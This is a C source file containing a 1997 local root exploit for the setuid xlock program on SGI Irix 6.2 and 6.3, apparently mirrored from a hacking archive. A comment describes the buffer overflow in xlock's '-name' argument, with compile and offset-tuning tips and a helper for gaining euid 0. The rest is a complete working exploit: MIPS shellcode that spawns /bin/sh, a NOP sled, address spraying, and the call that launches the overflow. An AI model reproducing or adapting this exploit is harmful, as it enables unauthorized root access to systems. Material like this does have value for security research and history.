/* /usr/bin/X11/xlock exploit by DCRH 25/5/97 Tested on: R5000 O2 (Irix 6.3) R8000 Power Challenge (Irix64 6.2) For Irix 6.2, change OFFSET to 0x160, or pass '20' as a parameter Exploit doesn't work on Irix 5.x due to stack position compile as: cc -n32 xlock.c The xlock(1) program is used to lock the local X display of a system until a correct password is entered at the keyboard. The program is setuid root and as part of the process of locking an X display accepts user arguments to establish specific xlock operation. It has been determined that an appropriately crafted set of arguments could be input to the xlock program allowing execution of arbitrary user commands with root privileges. This resulting buffer overflow condition is considered a security vulnerability in the xlock program. This vulnerability can be utilized to execute commands with root privileges. David Hedley found following. Here's an exploit for /usr/bin/X11/xlock. It's a similar exploit to the one for /usr/sbin/eject. The exploit is also quite sensitive to its location and may need tweaking to work on platforms other than those on which has been tested. Exploit tested on: O2 R5000 (Irix 6.3) PChallenge R8000 (Irix64 6.2) This exploit won't work on 5.x. The exploit as it is here works on Irix 6.3. To get it to work on 6.2, either change OFFSET from 0x118 to 0x160, or pass the program '20' as a parameter. Note that the shell spawned as a result of this exploit has uid=0, euid=youruserid. To make your euid=0 you'll need a program like the following: void main(void) { setuid(0,0); execl("/bin/sh", "sh", 0); } */ #include #include #include #include #include #define NUM_ADDRESSES 800 #define BUF_LENGTH 80 #define EXTRA 190 #define OFFSET 0x118 /* 0x160 for Irix 6.2 */ #define GP_OFFSET 32472 #define IRIX_NOP 0x03e0f825 /* move $ra,$ra */ #define u_long unsigned u_long get_sp_code[] = { 0x03a01025, /* move $v0,$sp [2000]*/ 0x03e00008, /* jr $ra [2000]*/ 0x00000000, /* nop [2000]*/ }; u_long irix_shellcode[] = { 0x24041234, /* li $4,0x1234 [2000]*/ 0x2084edcc, /* sub $4,0x1234 [2000]*/ 0x0491fffe, /* bgezal $4,pc-4 [2000]*/ 0x03bd302a, /* sgt $6,$sp,$sp [2000]*/ 0x23e4012c, /* addi $4,$31,264+36 */ 0xa086feff, /* sb $6,-264+7($4) */ 0x2084fef8, /* sub $4,264 [2000]*/ 0x20850110, /* addi $5,$4,264+8 */ 0xaca4fef8, /* sw $4,-264($5) [2000]*/ 0xaca6fefc, /* sw $4,-260($5) [2000]*/ 0x20a5fef8, /* sub $5, 264 [2000]*/ 0x240203f3, /* li $v0,1011 [2000]*/ 0x03ffffcc, /* syscall 0xfffff[2000]*/ 0x2f62696e, /* "/bin" [2000]*/ 0x2f7368ff, /* "/sh" [2000]*/ }; char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8]; void main(int argc, char **argv) { char *env[] = {NULL}; u_long targ_addr, stack, tmp; u_long *long_p; int i, code_length = strlen((char *)irix_shellcode)+1; u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code; stack = get_sp(); if (stack & 0x80000000) { printf("Recompile with the '-32' option\n"); exit(1); } long_p =(u_long *) buf; targ_addr = stack + OFFSET; if (argc > 1) targ_addr += atoi(argv[1]) * 4; if (targ_addr + GP_OFFSET > 0x80000000) { printf("Sorry - this exploit for Irix 6.x only\n"); exit(1); } tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3; while ((tmp & 0xff000000) == 0 || (tmp & 0x00ff0000) == 0 || (tmp & 0x0000ff00) == 0 || (tmp & 0x000000ff) == 0) tmp += 4; for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++) *long_p++ = tmp; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = IRIX_NOP; for (i = 0; i < code_length/sizeof(u_long); i++) *long_p++ = irix_shellcode[i]; tmp = (targ_addr + GP_OFFSET + 32/* + NUM_ADDRESSES/2 */) & ~3; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = (tmp << 16) | (tmp >> 16); *long_p = 0; printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr); execle("/usr/bin/X11/xlock", "xlock", "-name", buf, 0, env); perror("execl failed"); } /* www.hack.co.za [2000]*/